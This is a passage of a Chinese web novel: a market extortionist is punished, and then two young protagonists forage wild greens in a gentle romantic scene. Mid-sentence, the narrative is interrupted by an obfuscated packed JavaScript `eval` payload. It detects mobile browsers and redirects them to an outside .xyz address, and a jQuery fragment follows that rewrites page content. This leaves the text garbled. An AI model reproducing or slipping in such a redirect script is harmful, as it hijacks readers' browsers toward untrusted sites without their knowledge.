张书吏转向王老五，语气严厉，“王老五，又是你！平日里游手好闲也就罢了，竟敢公然在集市上勒索商户，还要砸摊？你真当这王法治不了你吗？！”


    王老五冷汗都下来了，但还在强自争辩：“张……张书吏，您别听他们胡说！我……我就是来买东西的，他们……他们诬陷我！”


    “买东西？五哥要买什么？是买二百文的‘地头钱’凭证么？方才五哥气势汹汹，可不像是来买东西的顾客。再者，五哥若真是顾客，为何我提出立字据明码标价，您反而要砸摊呢？这于理不合。”


    唐钰青适时开口，神色恬淡，逻辑清晰，句句戳心。


    王老五被问得哑口无言，脸憋得通红。


    张书吏哪里还不明白怎么回事，冷哼一声，“王老五，你还有什么话说？看来是上次教训得轻了！来人！”他对身后差役吩咐道，“将王老五一干人等，带回衙门去！好好审问审问，这收‘地头钱’的规矩，是谁定的！”


    两个差役早就看王老五不顺眼，闻言立刻上前，拿出绳索就要绑人。


    王老五这下彻底慌了，扑通一声竟跪了下来，哭嚎道：“张书吏饶命！各位差爷饶命！我……我错了，我再也不敢了，是我猪油蒙了心。求您高抬贵手，饶我这次吧！”


    他身后几个跟班也吓得面如土色，跟着跪地求饶。


    张书吏厌恶地皱皱眉。


    他其实也不想把事情闹得太大，毕竟牵扯到衙门里可能有人，但众目睽睽之下，必须有所惩戒。


    “哼！现在知道错了？晚了！”


    他拂了拂衣袖，“带走！先关几天再说！”


    差役们不顾王老五的哭嚎，将他们几人捆了个结实，推搡着带走了。


    集市上响起一阵叫好声和唾骂声。


    张书吏这才转向唐西西和唐钰青，脸色缓和了些，“唐小娘子，小郎君，你们受惊了。以后再有此类事情，可直接来寻我。安心做生意便是。”


    唐西西和唐钰青连忙躬身道谢，“多谢张书吏主持公道。”


    一场风波，终于平息。


    人群渐渐散去，摊前恢复了秩序。


    忙过一阵后，趁着空闲，唐西西看向身旁的唐钰青，眼底是由衷的敬佩，“唐钰青，刚才真是多亏了你。你那‘立字据’的法子，一下就戳中了他的死穴。多谢了。”


    唐钰青微微摇头，耳根有些泛红，眼眸清澈柔软，“西西过奖了。若非你提前打点好关系，又及时请来张书吏，光靠我这一点口舌之利，也难成事。是你思虑周全，我们……配合得好。”


    他说到最后一句，声音愈发柔和。


    唐西西看着他微红的耳根和认真的神情，忍不住莞尔一笑。


    她知道，王老五或许还会被放出来，但经此一役，他绝不敢再轻易来招惹唐家摊子。而她和唐钰青之间，那种心意相通的信任感，似乎又加深了一层。


    未来的路还长，但此刻，她心中充满了信心和力量。


    _


    这日清晨，天气晴好。


    唐西西照例准备上山，她看了看正在院中仔细擦拭摊车的唐钰青，大眼睛骨碌碌一转，心里有了主意。


    “唐钰青，今天别擦车了，跟我上山！”她扬声喊道。


    唐钰青闻声抬头，阳光下的唐西西的眼睛亮晶晶的，整个人身上都笼罩着一层温暖的光芒，笑得明艳动人。


    “好，这就来。”唐钰青果断放下手中的活计，整理好衣衫，大步向她走去，永远是一副温润纯良的面孔，让人看了心情舒适。


    唐西西等他走近，将另一个稍小些的竹筐塞到他手里，“你这大少爷来了这么久，还没怎么上过山吧，今日，我就带你去逛逛，顺便你也去认识认识那些小宝贝。”


    她语气轻松，带着点调侃，仿佛只是带他去郊游。


    唐钰青看着她明媚的笑脸，又低头看了看手中的竹筐，以往的从容气度渐渐淡了，迟疑地开口，“我……我能行吗？怕是不认得哪些是能吃的……”


    “所以才要教你啊！放宽心，跟着我，保准毒不死你！”


    唐钰青被唐西西的调皮的话语逗得掩唇轻笑，清朗的笑声透过胸腔传来，一点一点，有节奏地敲打在唐西西的心上，好像自己的心在跟他同频共振。


    唐西西一瞬间有些恍惚，迷茫地看着面前清俊的容颜。


    “好。我去跟伯母说一声。”唐钰青温和地说道，唐西西也回了神，趁着他回屋的间隙，她拍了拍脸，美色误人啊！


    两人一前一后出了门。


    清晨的山风带着凉意和草木的清香，吹拂在脸上，令人精神一振。


    唐西西像个经验丰富的老向导，脚步轻快地走在前面，不时回头跟他说话。


    “看着点路啊，这边石头滑。哎，你看那边，那棵歪脖子树，往左走就是我们去的老林子，今天咱们不去那儿，就往这边坡地上转转。”


    唐钰青紧跟在她身后，他好奇地打量着四周。


    高耸的树木、缠绕的藤蔓、不知名的野花、偶尔惊起的飞鸟……


    一切都充满了野趣和生机。


    “喏，看这个！”唐西西蹲下身，指着一丛叶片呈羽状分裂、开着细碎白花的植物，“这个就是我们常吃的荠菜，不过它开花了就有点老了，但嫩的时候包饺子、凉拌都可香了，上次我不就做过吗？是不是很好吃？”


    说着，她掐下一片叶子，递给唐钰青。


    唐钰青接过，放在鼻尖轻嗅，一股淡淡的辛香涌入鼻腔。


    “西西，我记住了。”就像小学生般，唐钰青认真地点了点头，把唐西西说的话全都一字不落地全都记住。


    唐西西又指向另一种叶片肥厚、贴地生长的植物，“这个叫马齿苋，是我们酸菜的主力军。你看它茎是红的，叶片肥嘟嘟的，掐断了还会流黏汁儿……哎，你别碰！”


    她见唐钰青伸手要去摸，连忙拦住，语速也加快了，“有的野菜长得像，但有毒！这个我教你认，你就认这个，别的乱七八糟的别乱碰，知道不？”


    她语气不禁严肃起来，唐钰青立刻收回手，像个虚心受教的学生，频频点头。


    唐西西很满意他的态度，继续教学，“还有这个，灰灰菜，背面有点泛白……那个，苦麻菜，味道苦，但清热败火……”


    她一路走，一路教，声音清脆，如数家珍。


    唐钰青走在她身边，听得很是专注，不时蹲下身仔细观察，甚至用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258170|181157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手指轻轻触摸叶片的感觉，努力将每一种野菜的形状、气味、特征记在心里。


    他学习的速度让唐西西都有些惊讶。


    “你好聪明啊！之前我教我爹认这些，教了八百遍，他还老弄混。”唐西西不遗余力地夸赞道。


    唐钰青被她夸得有些不好意思，微赧道：“哪里，是西西教得好。”


    阳光透过树叶的缝隙，洒下斑驳的光点。


    两人尽情地漫步在绿意盎然的山坡上，一个教得认真，一个学得专注。


    唐西西偶尔心性上来，会故意考考唐钰青，指着一种没教过的植物问他是什么，他若是答不上来，自己便得意地扬起下巴，仔细讲解跟他讲解。


    若是唐钰青凭着刚才的观察猜对了，她也会毫不吝啬地给予夸奖。


    气氛轻松而融洽。


    走了许久，两人的额角都沁出了细汗，泥土沾上了裤脚，他们也毫不在意。


    唐钰青也学着唐西西的样子，用小锄头去挖一棵野蒜，动作虽然生涩，但非常认真。


    “不对不对，劲使大了，根都让你刨断了！”唐西西看不下去了，直接蹲到他身边，握住他拿着锄头的手，“要这样，轻轻贴着根挖，手腕用巧劲……感受到没？”


    她的手覆盖在唐钰青的手背上，温热而略带粗糙的触感传来。


    唐钰青的心跳顿时漏了一拍，身体微微僵住。


    少女的馨香混合着淡淡青草气息，丝丝缕缕地钻入他的鼻腔，与这山野融为一体，让他有些恍惚。


    “发什么呆呢？学会没？”唐西西放开手，抬头看他。


    唐钰青猛地回神，掩饰性地低下头，脸颊发热，“唔……学会了。”


    他依言轻轻挖掘，果然完整地取出了一棵根部饱满的野蒜。


    “这就对了嘛！”唐西西拍拍手，站起身，满意地看着两人逐渐充盈起来的竹筐，“少爷学东西就是快，用不了几天就能出师了。”


    时近正午，日头有些毒辣起来。


    唐西西找了处靠近溪流的平坦地方，上头树荫茂密，正好遮阳，她坐下来招呼唐钰青过来休息。


    “累了吧？喝点水，吃点饼子。”她将水囊和饼子递给他，自己则跑到溪边，掬起清凉的溪水洗脸，舒服地叹了口气。


    唐钰青接过饼子，慢慢吃着。


    目光却不自觉地追随着溪边的那个身影。


    阳光透过水珠，在她健康的肌肤上折射出细碎的光芒，她甩着湿漉漉的手，笑容明媚而生动。


    他的心口像是被什么东西轻轻撞了一下，一种陌生而柔软的情绪悄然蔓延，浸入骨髓。


    唐钰青的目光掠过溪边那些盛开着的蓝色野花，花瓣小巧，簇拥在一起，如同散落的星辰。


    鬼使神差地，他放下饼子，走到花丛边，一朵一朵地采摘起来。


    唐西西洗完脸回来，看见唐钰青正低着头，手指灵活地摆弄着那些蓝色小花和细长的草茎，好奇地问：“你干嘛呢？”


    唐钰青忙活着，没有抬头，温声答道：“不干嘛，很快就好。”


    不一会儿，一个精巧别致的花环在他手中成型。蓝色的花朵错落有致地点缀在绿色的草环上，清新又富有野趣。